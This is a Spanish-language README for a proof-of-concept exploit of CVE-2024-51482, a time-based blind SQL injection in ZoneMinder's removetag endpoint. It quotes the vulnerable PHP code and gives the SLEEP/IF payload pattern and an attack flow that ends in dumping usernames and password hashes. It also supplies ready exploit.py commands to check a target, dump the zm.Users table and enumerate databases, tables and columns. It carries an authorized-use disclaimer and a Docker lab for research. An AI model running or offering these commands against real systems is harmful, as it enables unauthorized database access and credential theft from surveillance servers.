
PoC de inyección SQL basada en tiempo para CVE-2024-51482 en ZoneMinder, con laboratorio Docker reproducible y extracción automatizada de datos.
⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no poseas o para los cuales no tengas permiso por escrito es ilegal.
Este repositorio contiene un PoC de inyección SQL basada en tiempo dirigido a ZoneMinder.
La herramienta permite:
También incluye un laboratorio Docker completamente reproducible para pruebas seguras.
ZoneMinder es una aplicación gratuita y de código abierto para videovigilancia. La vulnerabilidad surge de una validación insuficiente de entrada en el endpoint removetag de ZoneMinder. La entrada proporcionada por el usuario se incorpora directamente en consultas SQL sin la adecuada sanitización o parametrización, permitiendo a los atacantes inyectar cargas útiles SQL basadas en booleanos maliciosas. El exploit aprovecha:
SLEEP(x - IF(condition, 0, x))
para inferir datos mediante el tiempo de respuesta.
Fragmento de código vulnerable completo del Aviso de Mantenedor de Github:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Atacante Aplicación Web ZoneMinder
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← sesión autenticada
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ Consulta SQL booleana ejecutada
│ IF(condition, sin retardo, SLEEP)
│◄────────────────────────────────────────│
│ Respuesta retardada (oráculo de tiempo) │ ← condición inferida
│ │
│ Repetir solicitudes │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Diferencias de tiempo revelan caracteres │
│ │
│ Búsqueda binaria por carácter │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Datos extraídos (1 carácter a la vez) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Divulgación completa de la base de datos│
│ │
✓ Exfiltración completa de datos mediante SQLi ciega
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configurar variables de entorno
docker compose up -d
Sin ningún flag, la herramienta se autenticará en el objetivo, comprobará su vulnerabilidad y, si es vulnerable, volcará las columnas ID, Username, Password, Name y Email de la tabla zm.Users (comando dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Solo comprueba si el objetivo es vulnerable.
python exploit.py -t http://target/zm -u <username> -p <password> check
Vuelca las columnas ID, Username, Password, Name y Email de la tabla zm.Users. Comando por defecto si no se especifica ninguno.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Lista todas las bases de datos.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Lista las tablas en una base de datos especificada.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Lista las columnas en una tabla especificada.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>